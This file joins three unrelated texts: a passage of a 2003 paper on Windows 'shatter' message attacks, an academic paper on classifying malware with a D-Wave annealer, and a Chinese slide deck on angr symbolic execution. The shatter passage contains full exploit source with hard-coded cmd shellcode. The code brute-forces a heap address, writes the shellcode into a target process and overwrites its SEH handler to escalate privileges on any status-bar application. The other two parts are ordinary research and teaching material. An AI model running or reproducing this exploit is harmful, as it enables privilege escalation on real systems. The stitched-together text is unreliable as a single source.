than 256). aWidths Pointer to an integer array. The number of elements is specified in nParts. Each element specifies the position, in client coordinates, of the right edge of the corresponding part. If an element is -1, the right edge of the corresponding part extends to the border of the window. This message accepts a pointer to an integer array to set the width of the number of specified parts. This message is also a type T-3. 03/10/2003 Page 12 of 19 Copyright Security-Assessment.com Ltd 2003 To exploit the SB_GETPARTS/SB_SETPARTS message pair, we must first be able to write enough data into a process memory space to create an integer array. For our purposes this array only needs to contain one item, for us to set the width of the first column so we can then write the right edge value of the first column to our arbitrary memory space. The Heap Brute Force Getting arbitrary data into a processes memory space can be done in a number of ways that have been covered in previous shatter documents. For this example we will use the WM_SETTEXT message. Message WM_SETTEXT Description An application sends a WM_SETTEXT message to set the text of a window. Called As SendMessage( (HWND) hWndControl, // handle to control (UINT) WM_SETTEXT, // message ID wParam = 0; // not used; must be zero lParam = (LPARAM)(LPCTSTR)lpsz; // address of window-text string Parameters lpsz Value of lParam. Pointer to a null-terminated string that is the window text. We will use this message to set the vulnerable applications title bar to data of our choosing. Eventually we will use this message to send the bytes we want to write, byte by byte, as the integer size array needed by the SB_SETPARTS message. Before we can use this data with SB_SETPARTS though, we need to know the location within the heap that it is stored. We can brute force this location through a combination of SB_SETTEXT and SB_GETTEXTLENGTH messages. Message SB_SETTEXT Description The SB_SETTEXT message sets the text in the specified part of a status window. Called As SendMessage( (HWND) hWndControl, // handle to control (UINT) SB_SETTEXT, // message ID (WPARAM) wParam, // = (WPARAM) (UINT) Ipart (LPARAM) lParam // = (LPARAM) (LPSTR) szText ); Parameters IPart Zero-based index of the part to set. If this parameter is set to SB_SIMPLEID, the status window is assumed to be a simple window with only one part. szText Pointer to a null-terminated string that specifies the text to set. The title bar text is stored as Unicode, so if we send WM_SETTEXT with a large string of X’s it will appear in the receiving processes memory as; 03/10/2003 Page 13 of 19 Copyright Security-Assessment.com Ltd 2003 If we send multiple SB_SETTEXT messages, specifying our ‘heap guess’ location as the szText parameter. The text of part one will be set to X when we have guessed the correct heap memory address. We cannot use the SB_GETTEXT message to check the text of part one, because it also is a T-3 message. We can however use SB_GETTEXTLENGTH, which is a T-2 message. Message SB_GETTEXTLENGTH Description The SB_GETTEXTLENGTH message retrieves the length, in characters, of the text from the specified part of a status window. Called As SendMessage( (HWND) hWndControl, // handle to control (UINT) SB_GETTEXTLENGTH, // message ID (WPARAM) wParam, // = (WPARAM) (INT) iPart; (LPARAM) lParam // = 0; not used, must be zero ); Parameters iPart Zero-based index of the part from which to retrieve text. lParam Must be zero. This message returns the length of the text in the specified part. So when we have guessed the correct heap address and part one has been set to X, this message will return 1. This is not enough though, because many memory addresses will set the text of part one to a string of one character in length. So after finding an address that returns 1 from this message we go through the procedure again, setting the title bar to a string of 0x80. This gets converted to Unicode \xAC\x20 and therefore if we have the correct address, the next call to SB_GETTEXTLENGTH will return a value greater than 1. If we do not have the correct address, it will return 1 again. Statusbar Overwrite Example /************************************************************************************* * Statusbar Control Shatter exploit * * Demonstrates the use of a combination of windows messages to; * - brute force a useable heap address * - place structure information inside a process * - inject shellcode to known location * - overwrite 4 bytes of a critical memory address * * 4 Variables need to be set for proper execution. * - tWindow is the title of the programs main window * - sehHandler is the critical address to overwrite 03/10/2003 Page 14 of 19 Copyright Security-Assessment.com Ltd 2003 * - shellcodeaddr is the data space to inject the code * - heapaddr is the base heap address to start brute forcing * * Local shellcode is Win2kSp4 ENG Hardcoded because of unicode issues * Try it out against any program with a statusbar * *************************************************************************************/ #include <windows.h> #include <commctrl.h> #include <stdio.h> // Local No Null Cmd Shellcode. BYTE exploit[] = "\x90\x33\xc9\x66\xb9\x36\x32\xc1\xe1\x09\x66\xb9\x63\x6d\x51\x54\xbb\x5c\x21 \x9d\x77\x03\xd9\xff\xd3\xcc\x90"; char g_classNameBuf[ 256 ]; char tWindow[]="WindowTitle";// The name of the main window long sehHandler = 0x7cXXXXXX; // Critical Address To Overwrite long shellcodeaddr = 0x7fXXXXXX; // Known Writeable Space Or Global Space unsigned long heapaddr = 0x00500000; // Base Heap Address long mainhWnd; void doWrite(HWND hWnd, long tByte,long address); void BruteForceHeap(HWND hWnd); void IterateWindows(long hWnd); int main(int argc, char *argv[]) { HMODULE hMod; DWORD ProcAddr; long x; printf("%% Playing with status bar messages\n"); printf("%% [email protected]\n\n"); if (argc = 2) sscanf(argv[1],"%lx",&heapaddr); // Oddity printf("%% Using base heap address...0x%xh\n",heapaddr); printf("+ Finding %s Window...\n",tWindow); 03/10/2003 Page 15 of 19 Copyright Security-Assessment.com Ltd 2003 mainhWnd = (long)FindWindow(NULL,tWindow); if(mainhWnd == NULL) { printf("+ Couldn't Find %s Window\n",tWindow); return 0; } printf("+ Found Main Window At......0x%xh\n",mainhWnd); IterateWindows(mainhWnd); printf("+ Done...\n"); return 0; } void BruteForceHeap(HWND hWnd, long tByte,long address) { long retval; BOOL foundHeap = FALSE; char buffer[5000]; memset(buffer,0,sizeof(buffer)); while (!foundHeap) { printf("+ Trying Heap Address.......0x%xh ",heapaddr); memset(buffer,0x58,sizeof(buffer)-1); // Set Window Title SendMessage( mainhWnd,(UINT) WM_SETTEXT,0,&buffer); // Set Part Contents SendMessage((HWND) hWnd,(UINT) SB_SETTEXT,0,heapaddr); retval=SendMessage((HWND) hWnd,(UINT) SB_GETTEXTLENGTH ,0,0); printf("%d",retval); if(retval == 1) { // First Retval should be 1 memset(buffer,0x80,sizeof(buffer)-1); // Set Window Title SendMessage( mainhWnd,(UINT) WM_SETTEXT,0,&buffer); // Set Part Contents SendMessage((HWND) hWnd,(UINT) SB_SETTEXT,0,heapaddr); retval=SendMessage((HWND) hWnd,(UINT) SB_GETTEXTLENGTH ,0,0); if(retval > 1) { // Second should be larger than 1 printf(" : %d - Found Heap Address\n",retval); 03/10/2003 Page 16 of 19 Copyright Security-Assessment.com Ltd 2003 return(0); } } printf("\n"); heapaddr += 2500; } } void doWrite(HWND hWnd, long tByte,long address) { char buffer[5000]; memset(buffer,0,sizeof(buffer)); memset(buffer,tByte,sizeof(buffer)-1); // Set Window Title SendMessage( mainhWnd,(UINT) WM_SETTEXT,0,&buffer); // Set Statusbar width SendMessage( hWnd,(UINT) SB_SETPARTS,1,heapaddr); SendMessage( hWnd,(UINT) SB_GETPARTS,1,address); } void IterateWindows(long hWnd) { long childhWnd,looper; childhWnd = (long)GetNextWindow((HWND)hWnd,GW_CHILD); while (childhWnd != NULL) { IterateWindows(childhWnd); childhWnd = (long)GetNextWindow((HWND)childhWnd ,GW_HWNDNEXT); } GetClassName( (HWND)hWnd, g_classNameBuf, sizeof(g_classNameBuf) ); if ( strcmp(g_classNameBuf, "msctls_statusbar32") ==0) { // Find Heap Address BruteForceHeap((HWND) hWnd); // Inject shellcode to known address printf("+ Sending shellcode to......0x%xh\n",shellcodeaddr); for (looper=0;looper<sizeof(exploit);looper++) doWrite((HWND)hWnd, (long) exploit[looper],(shellcodeaddr + looper)); // Overwrite SEH printf("+ Overwriting Top SEH.......0x%xh\n",sehHandler); doWrite((HWND)hWnd, ((shellcodeaddr) & 0xff),sehHandler); doWrite((HWND)hWnd, ((shellcodeaddr >> 8) & 0xff),sehHandler+1); 03/10/2003 Page 17 of 19 Copyright Security-Assessment.com Ltd 2003 doWrite((HWND)hWnd, ((shellcodeaddr >> 16) & 0xff),sehHandler+2); doWrite((HWND)hWnd, ((shellcodeaddr >> 24) & 0xff),sehHandler+3); // Cause exception printf("+ Forcing Unhandled Exception\n"); SendMessage((HWND) hWnd,(UINT) SB_GETPARTS,1,1); printf("+ Done...\n"); exit(0); } } Final Summary The exploitation of shatter attacks have come a long way from when the original vulnerability was announced. As we have shown in this document, even the most obscure of messages can be used to make a process execute code that it was not intended to run. While there have been discussions around the filtering of messages to protect interactive applications that run under a higher security context. It is becoming apparent that the only sure solution is to not have these applications running on an untrusted users desktop. Application designers and system administrators need to be aware of the dangers associated with running higher privileged applications on a users desktop, and take steps to prevent them from been exploited. The examples included in this paper can be used against any interactive application that runs at a higher level, simply by specifying parameters such as the window title. Successful exploitation would allow a user to then execute commands under this higher-level security context. Callback Messages The following messages use callbacks as a parameter and are known to be vulnerable to exploitation. • WM_TIMER ( A patch has been released for this case ) • LVM_SORTITEMS • LVM_SORTITEMSEX • EM_SETWORDBREAKPROC The following messages use callbacks as a parameter through a pointer to a structure. They are potentially vulnerable to exploitation. • EM_STREAMOUT • EM_STREAMIN • EM_SETHYPHENATEINFO • TVM_SORTCHILDRENCB 03/10/2003 Page 18 of 19 Copyright Security-Assessment.com Ltd 2003 Overwrite Messages The following messages use a pointer to a structure as a parameter and are known to allow for overwriting of arbitrary memory locations. • HDM_GETITEMRECT • HDM_GETORDERARRAY • HDM_GETITEM • LVM_CREATEDRAGIMAGE • LVM_GETCOLUMNORDERARRAY • LVM_GETITEM • LVM_GETITEMPOSITION • LVM_GETITEMRECT • LVM_GETITEMTEXT • LVM_GETNUMBEROFWORKAREAS • LVM_GETSUBITEMRECT • LVM_GETVIEWRECT • PBM_GETRANGE • SB_GETPARTS • TB_GETITEMRECT • TB_GETMAXSIZE • TCM_GETITEM • TCM_GETITEMRECT • TVM_GETITEM • TVM_GETITEMRECT References http://security.tombom.co.uk/shatter.html http://www.idefense.com/idpapers/Shatter_Redux.pdf http://msdn.microsoft.com/library/en-us/shellcc/platform/commctls/wincontrols.asp http://www.microsoft.com/TechNet/Security/news/htshat.asp http://www.microsoft.com/technet/security/bulletin/MS02-071.asp http://www.nextgenss.com/advisories/utilitymanager.txt http://www.securityfocus.com/bid/5408/exploit/ http://www.securityfocus.com/data/vulnerabilities/exploits/mcafee-shatterseh2.c www.security-assessment.com 03/10/2003 Page 19 of 19 Copyright Security-Assessment.com Ltd 2003 About Security- Assessment.com Security-Assessment.com is an established team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the UK, Europe and Australasia. We provide independent advice, in-depth knowledge and high level technical expertise to their clients who range from small businesses to some of the worlds largest companies Using proven security principles and practices combined with leading software and hardware solutions we work with our clients to generate simple and appropriate solutions to Information security challenges that are easy to understand and use for their clients. Security-Assessment.com provides security solutions that enable developers, government and enterprises to add strong security to their businesses, devices, networks and applications. We lead the market in on-line security compliance applications with their ISO 17799 "Code of Practice for Information Security Management" system which enables companies to ensure that they are effective and in line with accepted best practice for Information Security Management. Copyright Information These articles are free to view in electronic form, however, Security- Assessment.com and the publications that originally published these articles maintain their copyrights. You are entitled to copy or republish them or store them in your computer on the provisions that the document is not changed, edited, or altered in any form, and if stored on a local system, you must maintain the original copyrights and credits to the author(s), except where otherwise explicitly agreed by Security-Assessment.com Ltd.
pdf
“Quantum” Classification of Malware John Seymour [email protected] Charles Nicholas [email protected] August 24, 2015 Abstract Quantum computation has recently become an important area for security research, with its applications to factoring large numbers and secure communication. In practice, only one company (D-Wave) has claimed to create a quantum computer that can solve relatively hard problems, and that claim has been met with much skepticism. Regardless of whether it is using quantum effects for computation or not, the D-Wave architecture cannot run the standard quantum algorithms, such as Grovers and Shors. The D-Wave architec- ture is instead purported to be useful for ma- chine learning and for heuristically solving NP-Complete problems. We’ll show why the D-Wave and the ma- chine learning problem for malware classifi- cation seem especially suited for each other. We also explain how to translate the clas- sification problem for malicious executables into an optimization problem that a D-Wave machine can solve. Specifically, using a 512- qubit D-Wave Two processor, we show that a minimalist malware classifier, with cross- validation accuracy comparable to standard machine learning algorithms, can be created. However, even such a minimalist classifier in- curs a surprising level of overhead. 1 Introduction The D-Wave architecture is a unique ap- proach to computing that utilizes quantum annealing to solve discrete optimization prob- lems. At the time of this writing, the ex- tent to which the D-Wave machines utilize quantum effects for computational purposes is a hotly debated topic. Regardless, the D-Wave machine is not a general purpose quantum computer; it cannot run well-known quantum algorithms such as Shors or Grovers algorithms. Applications for D-Wave ma- chines instead include binary classification, complex protein-folding models, and heuris- tics for solving intractable problems such as the Traveling Salesman Problem. We fo- cus on one method for binary classification, QBoost, first explained in [2]. This method has been shown to outperform several stan- dard techniques for classification, especially 1 in contexts where instances may be labeled incorrectly. As malware datasets often have this characteristic, the D-Wave might be es- pecially suited for the problem of malware classification. Recently, D-Wave has released the D-Wave Two, a quantum annealer with up to 512 qubits, and a 1000 qubit machine is currently being tested in D-Wave’s lab. D-Wave claims that the number of qubits will continue to scale for the forseeable future. More qubits means more difficult problems can be em- bedded onto the chip directly, extending the problem space that the D-Wave system can natively support. At UMBC, we have access to a D-Wave Two processor with 496 work- ing qubits, called SYSTEM 6, and software for embedding problems onto the chip. We also have access to software which simulates a D-Wave chip on a classical machine. The D-Wave chip consists of niobium loops that act as qubits, and couplers which af- fect both individual loops and pairs of loops. Programming the D-Wave consists of choos- ing the weights for these couplers. The D- Wave natively solves problems of the follow- ing form: i aiqi + i,j bijqiqj (1) where the ai and the bi values are given, and the D-Wave returns the list of qi ∈ {−1, 1} that minimize the above summation. Trans- lating a real-world problem into this form re- duces to the Graph Minor Embedding prob- lem, which is NP-Complete in the general case. However, several heuristics exist that may be able to embed real-world problems onto D-Wave chips for specific instances. In particular, QBoost involves a dialogue be- tween a classical Tabu search and the D-Wave chip. Figure 1 gives a graphical depiction of this equation, with weights set, based on the SYSTEM 6 processor. One major difference between the D-Wave machines and the D-Wave simulator is the presence of dead qubits in the actual ma- chines. In Figure 1, there are several nodes that are absent from the graph. Program- mers cannot interact with them, as they are defects in the actual chip. This influences the possible values for variables in equation 1, hence, it limits the potential problems that the chip can solve. D-Wave chips can have different numbers and placements of dead qubits. Boosting is a machine learning technique which takes a set of weak classifiers, or classi- fiers with only a slightly-better-than-random accuracy, and combines them into a strong classifier with much higher accuracy. QBoost differs from standard boosting algorithms as each weak classifier has the same weight, and the final strong classifier is created simply by taking the majority vote from the weak clas- sifiers comprising it. QBoost searches over the subsets of weak classifiers and attempts to minimize the error of the strong classifier through inclusion or exclusion of weak classi- fiers. This error is represented through a loss function: the smaller the loss, the better the quality of the classifier. [1] has one example of a useable loss function, which can be found in the following equation. 2 Figure 1: Graphical depiction for the SYSTEM 6 processor, known as the Chimera graph. 3 G(w) = 1 4 S s=1 (sign[ D j=1 wjFj(xs)]−ys)2+λ D j=1 wj (2) Briefly, the 1 4 S s=1(sign[ D j=1 wjFj(xs)] − ys)2 corresponds to the number of errors a given strong classifier will make, and λ D j=1 wj serves as a regularization constant to prioritize strong classifiers that use smaller numbers of features. 2 Methods There are a few publically available cor- pora for malicious executables. We use Vx- Heaven, which consists of 65 gigabytes of malware, labeled by type (e.g. banking tro- jans). There is, however, no standard dataset for benign software. We supplement Vx Heaven with Windows XP, Windows 7, Cyg- win, and Sourceforge executables as in pre- vious work.[5] We then resample the corpus, because the raw corpus consists of many more malicious executables than benign executa- bles. Thus, a classifier that simply classifies all executables as malware would have a near- perfect accuracy on the raw corpus, but it would not be useful at all in practice. Re- sampling also has the side-effect of reducing the time to build classifiers on the corpus. We resample with replacement, meaning it is pos- sible to select an executable multiple times and have multiple copies of that executable in the resampled corpus. Resampling with replacement, as opposed to without replace- ment, has several good statistical properties in terms of the resulting distribution. We chose to use 3-grams as the basis of our classifier. We specifically chose 3-grams because they are easy to generate, because similar features have been used before for classification of malware, and because it is easy to obtain a large list of binary features which can be trivially translated into weak classifiers. A classifier built using only 3- grams will not have accuracy comparable to malware classifiers currently used in industry. However, our goal here is to compare QBoost to standard machine learning algorithms, and the classifiers we build even with these sim- plistic features will be complex enough for comparison. Blackbox is software, written by D-Wave, which implements the QBoost algorithm. Though Blackbox has been evaluated before, evaluations have primarily focused on solv- ing intractable problems. In [3], Blackbox is used with a timeout of 30 minutes and using at most 107 state evaluations. We would like to tighten this bound, both because the stan- dard algorithms we compare against com- plete in under a second, and because our al- lotted time on the D-Wave machine is lim- ited. A pilot study, based on minimizing the sum function for a number of variables, gave guidance on setting these parameters. In par- ticular, we found that the D-Wave was in- capable of finding an optimal solution to a problem with 12 variables given the default timeout of 10 seconds. This means that our D-Wave classifier will likely need more time to build than standard classifiers. We press 4 on, in case the accuracy increase justifies the increased time cost of the D-Wave system. Based on the pilot study, we collect the top 16 3-grams from the benign executables and 16 from the malicious executables to use as features. We then create a vector of weak classifiers: the first 32 weak classifiers clas- sify instances in which the 3-gram is present as malware, and the next 32 weak classi- fiers classify instances in which the 3-gram is present as benign. For a given selection of weak classifiers, we calculate the loss using Equation 2 and return this loss as the value of the objective function. For comparison, we use the same features to create multiple clas- sifiers in WEKA, a popular tool for machine learning. 3 Results We wish to test the effectiveness of the mal- ware classifier produced by the D-Wave ma- chine. To do so, we perform 10-fold cross- validation: we build the classifier on each set of 9 folds and evaluate the D-Wave classi- fier on the remaining fold, and then average these accuracies together. For each fold, we record the accuracy of the classifier, the time to build the classifier, and the number of fea- tures selected in the final classifier. We compare the D-Wave classifier to the same classifier using the D-Wave simulator, which is classical in nature. We also com- pare to three classical models built using WEKA: Adaboost, J48 (Decision Tree), and Random Forest. We choose Adaboost as it and QBoost have been compared before, and we chose J48 and Random Forest as they have been shown to produce decent results in the field of malware analysis. Again, we expect accuracies lower than state-of-the-art classification systems, as we have restricted the classification problem significantly in or- der to embed it onto the D-Wave chip. Table 1 compares the accuracies and time taken to build each of the different classifiers. Unlike in [4], the timing in Table 1 for the D-Wave machine is underreported; we chose to only include time that the D-Wave was running to remove the latency caused by the network, and thus the time that the classical system was creating D-Wave instructions is not ac- counted for in the table. We were able to achieve a cross-validation accuracy of 80% using the actual D-Wave machine, which outperformed WEKA’s Ad- aboost and underperformed WEKA’s Ran- domForest. However, given the substantial time to build the classifier, we were not able to perform multiple runs on the D-Wave ma- chine to know whether this run was an out- lier; as such, these accuracies should not be used directly as benchmarks for comparison. This accuracy comes at a great cost: the D- Wave classifier took roughly 10,000 times as long to create. Further, the standard ma- chine learning algorithms scale, but the D- Wave algorithm must be greatly restricted in order to create a classifier in a reasonable amount of time. It is interesting to note that the simula- tor needed less time to train than the actual chip. This might be because the simulator uses the maximum number of nodes in the Chimera graph, whereas the actual chip has 5 Classifier Cross-fold Accuracy Average Time to Build (Seconds) D-Wave 0.80 536.32 D-Wave Simulator 0.802 451.62 Adaboost 0.768 0.02 J48 0.796 0.03 RandomForest 0.814 0.05 Table 1: Cross-fold accuracy and time to build classifiers. dead qubits it must work around. 4 Conclusions We have shown it is possible to create a malware classifier using a D-Wave machine along with the Blackbox embedding software. Furthermore, we have shown this classifier has 10-fold cross-validation accuracy compa- rable to classical classifiers using the same features. However, there is significant over- head in building such a classifier using Black- box. Our results show that, at this time and for this domain, this method for classification does not outperform other methods enough to justify the cost. Whether the D-Wave will outpace classical speedup remains to be seen. There are, however, potentially other uses for this method. We noticed during our ex- periment that the D-Wave often achieved the same accuracy as the classical methods, but using a fewer number of features. This is con- sistent with previous work.[2] It is possible that Blackbox is best suited for preprocess- ing of data. The question of why the D-Wave and the simulator seem to use less features in their classifiers should be investigated fur- ther; exploiting this characteristic may pro- vide a new use for the system in feature and instance selection. Some interesting paths for malware re- search are introduced in this paper as well. There are few public standards for classifi- cation in the malware domain. There are several malware datasets (even if potentially flawed), but there is no standard for benign datasets, and the features for classification are generally not public. Creation of a stan- dard benchmarking corpus of malicious and benign executables is long overdue. References [1] Binary classification using a d-wave one system. http://www.dwavesys.com/ en/dev-tutorial-qbc.html. Accessed: 2013-06-13. [2] V. S. Denchev. Binary classification with adiabatic quantum optimization. PhD thesis, Purdue University, 2013. [3] C. C. McGeoch and C. Wang. Experi- mental evaluation of an adiabiatic quan- tum system for combinatorial optimiza- tion. In Proceedings of the ACM Inter- national Conference on Computing Fron- 6 tiers, CF ’13, pages 23:1–23:11, New York, NY, USA, 2013. ACM. [4] J. Seymour. Quantum classification of malware. Master’s thesis, University of Maryland, Baltimore County, 2014. [5] J. Seymour and C. Nicholas. Overgener- alization in feature set selection for clas- sification of malware. Technical report, UMBC CSEE Technical Report, TR-CS- 14-06, September, 2014, 2014. 7
pdf
Binary 自動分析的那些事 YSc 2016/07/22 2 ● 當你拿到一個 binary ... 3 ● 當你拿到一個 binary ... – file binary – ltrace – gdb – IDA – ... 4 ● 當你拿到一個 binary ... – file binary – ltrace – gdb – IDA – ... 5 ● 當你拿到一個 binary ... – file binary – ltrace – gdb – IDA – ... 6 ● 一條一條看,一條一條算 ● 用工具( z3 )來算 ● 整支程式自動跑自動算 7 這個議程在幹麻 ● binary 自動分析的原理 ● 如何用 angr 寫解 CTF reverse 的腳本 ● 先來談談要怎麼自動分析, – 符號執行( symbolic execution ) – 用 angr 來自動分析 binary ● 以及遇到的問題,要怎麼解決? – 符號執行的優化 – 經驗談更多 angr 用法 8 先講個分類 ● 靜態分析 – IDA ● 動態分析 - GDB 9 先講個分類 ● 靜態分析 – IDA – 優點 ● 程式覆蓋 ● 找到很多條程式執行路徑 – 缺點 ● 該從那開始分析? ● 怎麼互動? ● 動態分析 - GDB 10 先講個分類 ● 靜態分析 – IDA ● 動態分析 – GDB – 優點 ● 可以觀察到記憶體、暫存器 的值 ● 精確的結果 – 缺點 ● 程式覆蓋有限 ● 該怎麼模擬環境? 11 先講個分類 ● 靜態分析 – IDA ● 動態分析 – GDB – 優點 ● 可以觀察到記憶體、暫存器 的值 ● 精確的結果 – 缺點 ● 程式覆蓋有限 ● 該怎麼模擬環境? ● 如何自動動態分析?自動找 bug ? 12 Automated Discovery ● Fuzzing – 隨機放一堆 input 想辦法讓程式壞掉 ● Symbolic Execution – 用符號變數來當作 input 而非實際的數值 13 Symbolic Execution 14 Symbolic Execution 15 Symbolic Execution ● Dynamic analysis ● Set symbolic values and constraints ● Concretize to obtain a possible value Constraints X >= 5 X < 50 Concretize X = 20 16 Symbolic Execution x = get_intput(); if (x >= 5) if (x < 50) bug(); else printf("??"); else printf("yo"); State A --- --- Target 17 Symbolic Execution x = get_intput(); if (x >= 5) if (x < 50) bug(); else printf("??"); else printf("yo"); State AA X = ??? X >= 5 State AB X = ??? X < 5 State A X = ??? --- 18 Symbolic Execution x = get_intput(); if (x >= 5) if (x < 50) bug(); else printf("??"); else printf("yo"); State AA X = ??? X >= 5 19 Symbolic Execution x = get_intput(); if (x >= 5) if (x < 50) bug(); else printf("??"); else printf("yo"); State AAA X = ??? X >= 5 X < 50 State AAB X = ??? X >= 5 X >= 50 State AA X = ??? X >= 5 20 Symbolic Execution x = get_intput(); if (x >= 5) if (x < 50) bug(); else printf("??"); else printf("yo"); State AAA X = 20 X >= 5 X < 50 21 Symbolic Execution ● state 往下走一步就是往下走一個 basic block ● 在探索 path 時會不斷設置符號變數和收集限制式 ● 使用 solvers 來解限制式 ● 找出一組 input 使得滿足 path 上所有的限制式 22 Symbolic Execution ● state 往下走一步就是往下走一個 basic block ● 在探索 path 時會不斷設置符號變數和收集限制式 ● 使用 solvers 來解限制式 ● 找出一組 input 使得滿足 path 上所有的限制式 x = get_intput(); if (x >= 5) if (x < 50) bug(); else printf("??"); else printf("yo"); 23 Angr 24 Angr ● 分析 binary 的框架(不需要 binary 的原始碼) ● 有靜態分析以及動態分析 – CFG analysis – symbolic execution ● 適用於不同平台和 arch 的 binary 25 Angr CLE, archinfo PyVEX, SimuVEX Claripy Angr analysis surveyors 26 Angr ● 分析並讀取 binary 的資訊 – 指令位址、 shared library 、 ... – arch information CLE, archinfo PyVEX, SimuVEX Claripy Angr analysis surveyors Angr - CLE >>> print b.loader.find_symbol_got_entry('__libc_start_main') >>> print b.loader.main_bin.imports {'__gmon_start__': <cle.elf.ELFRelocation at 0x7f9928941650>, '__libc_start_main': <cle.elf.ELFRelocation at 0x7f9928941dd0>, '__stack_chk_fail': <cle.elf.ELFRelocation at 0x7f9928941590>, 'fgets': <cle.elf.ELFRelocation at 0x7f9928941550>, 'getenv': <cle.elf.ELFRelocation at 0x7f9928406810>, 'printf': <cle.elf.ELFRelocation at 0x7f99284062d0>, 'ptrace': <cle.elf.ELFRelocation at 0x7f99286cca10>, 'puts': <cle.elf.ELFRelocation at 0x7f99284068d0>} Angr - archinfo 29 Angr ● 將指令轉換成中間語言 (IR) 、分析 IR 並且模擬 – i.e., 不只知道他是什麼,還知道他做了什麼 ● state, symbolic memory, SimProcedure ... CLE, archinfo PyVEX, SimuVEX Claripy Angr analysis surveyors Angr - IR 0x8000: dec eax t0 = GET:I32(8) t1 = Sub(t0, 1) PUT(8) = t1 PUT(68) = 0x8001 31 Angr ● 設符號變數以及 solver 、收集限制式 ● 是一個前端界面,而後端可以是各種 solver 像是 z3 CLE, archinfo PyVEX, SimuVEX Claripy Angr analysis surveyors 32 Z3 Solver ● 微軟的某項研究 ● 有 python API ● ebx = 0x1234, eax = (ebx / ecx) ^ ecx, eax = 2, ecx=? from z3 import * x = Int('x') y = Int('y') s = Solver() s.add(x > 2, y < 10, x + y == 7) print s.check() # sat m = s.model() print m # [y = 0, x = 7] 33 Angr ● 一整個集成符號執行 ● path, path_group, factory, ... CLE, archinfo PyVEX, SimuVEX Claripy Angr analysis surveyors 34 Script – Hello Angr ● 腳本初體驗 35 Script - Demo 36 Script – Hello Angr ● Surveyors import angr p = angr.Project("test") ex = p.surveyors.Explorer(find=(0x400844, ), avoid=(0x400855,)) ex.run() print ex.found[0].state.posix.dumps(0) 37 Script – Hello Angr ● path_group import angr p = angr.Project("test") initial_state = p.factory.entry_state() pg = p.factory.path_group(initial_state) pg.explore(find=(0x4005d1,)) print pg # <PathGroup with 18 deadended, 4 active, 1 found> print pg.found[0] # <Path with 64 runs (at 0x4005d1)> print pg.found[0].state.posix.dumps(0) # input_string 38 Script – Hello Angr ● SimState – entry_state: a SimState initialized to the program state at the binary's entry point – blank_state: a SimState object with little initialization SimState - symbolic memory - symbolic registers - constraints >>> import angr >>> b = angr.Project('/bin/true') >>> s = b.factory.blank_state(addr=0x08048591) >>> s = b.factory.entry_state() # The first 5 bytes of the binary >>> print s.memory.load(b.loader.min_addr(), 5) 39 Script - ARGS ● 如何設 args ? 40 Script - ARGS ● 如何設 args ? import angr import claripy p = angr.Project("test") args = claripy.BVS('args', 8*16) initial_state = prog.factory.entry_state(args=["./vul", args]) pg = p.factory.path_group(initial_state) pg.explore(find=(0x4005d1,)) print pg # <PathGroup with 18 deadended, 4 active, 1 found> print pg.found[0] # <Path with 64 runs (at 0x4005d1)> print pg.found[0].state.posix.dumps(0) # input_string 41 Script - ARGS ● Claripy frontends # Create a 32-bit symbolic bitvector "x" >>> claripy.BVS('x', 32) # Create a 32-bit bitvectory with the value 0x12345678 >>> claripy.BVV(0x12345678, 32) <BV32 BVV(0x12345678, 32)> 42 Script – Memory Access ● 如何在記憶體位址上放符號變數? – 方便我們追蹤並求解記憶體位址上的值 43 Script – Memory Access ● 如何在記憶體位址上放符號變數? import angr p = angr.Project('./vul') s = p.factory.blank_state(addr=0x80485c8) bvs = s.se.BVS('to_memory', 8*4) s.se.add(bvs > 1000) s.memory.store(0x08049b80, bvs, endness='Iend_LE') pg = p.factory.path_group(s, immutable=False) ... 44 Script – Memory Access 45 Script – Memory Access ● Accessing Data ● s.se is the solver engine of the state # get the integer >>> print s.se.any_int(s.regs.rax) # get the string >>> print s.se.any_str(s.memory.load(0x1000, 10, endness='Iend_LE')) # storing data >>> s.regs.rax = aaaa >>> s.memory.store(0x1000, aaaa, endness='Iend_LE') >>> s.memory.store(s.regs.rax, aaaa, endness='Iend_LE') 46 Script – Posix ● 如何對 stdin 的內容加上限制式? 47 Script – Posix ● 如何對 stdin 的內容加上限制式? p = angr.Project('./vul') st = p.factory.full_init_state(args=['./vul']) # Constrain the first 28 bytes to be non-null and non-newline for _ in xrange(28): k = st.posix.files[0].read_from(1) st.se.add(k != 0) st.se.add(k != 10) # Constrain the last byte to be a newline k = st.posix.files[0].read_from(1) st.se.add(k == 10) # Reset the symbolic stdin's properties and set its length st.posix.files[0].seek(0) st.posix.files[0].length = 29 ... 48 Optimization 49 Optimization ● 實際用 angr 跑,會發現 – 跑了幾個小時都還沒找到目標路徑 – 跑著跑著就壞了 ● 自動分析似乎很美好,但卻隱藏很多問題 ... 50 Optimization ● Environment – shared library ● Exploration Strategy – BFS – DFS ● Explosion – path explosion – path pruning 51 Environment ● 情境 – 對符號執行來說, libc 裡複雜無比,一旦進入 libc function 分析可能 就掛在裡面了 – Crypto function – 看不懂的 syscall 52 Environment ● SimProcedure ● Hook symbol ● Go into library p = angr.Project('./vul', load_options={'auto_load_libs': True}, use_sim_procedures=True, exclude_sim_procedures_func='strcmp') class my_strcmp(simuvex.SimProcedure): def run(self): ... return ... p.hook_symbol('strcmp', my_strcmp) 53 Environment ● Hook ● Unknown syscall ''' $ objdump -M intel -d ./vul | grep -A2 85d7 80485d7: e8 9f 00 00 00 call 804867b 80485dc: 89 44 24 10 mov DWORD PTR [esp+0x10],eax 80485e0: 83 7c 24 10 ff cmp DWORD PTR [esp+0x10],0xffffffff ''' def check1(state): state.regs.eax = 20 p.hook(0x080485d7, check1, length=5) initial_state = project.factory.entry_state( args=[project.filename, arg1], add_options={'BYPASS_UNSUPPORTED_SYSCALL'}) 54 Exploration Strategy ● Exploration techniques pg = p.factory.path_group(initial_state, immutable=False) pg.use_technique(angr.exploration_techniques.DFS()) # pg.explore(find=(0x08041234, )) pg.run(step_func=my_find_func) 55 Explosion ● 情境 int counter = 0, values = 0; for(i=0; i<100; i++){ if(input[i] == 'B'){ counter++; values += 2; } } if(counter == 75) bug(); 56 Explosion ● 情境 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 57 Explosion ● Veritesting – 結合靜態符號執行以及動態符號執行 – 把限制式全部合併在一條路徑上 – 減少 path explosion 的影響 pg = p.factory.path_group(initial_state, immutable=False, veritesting=True) 58 Explosion ● 情境 – Unsatisfiable path 代表這條路不可能發生,即無法產生任何一組 input 使得 binary 可以照這條路執行 . . . . . . . . . . . . . . . . . . . . . . . . 59 Explosion ● LAZY_SOLVES – 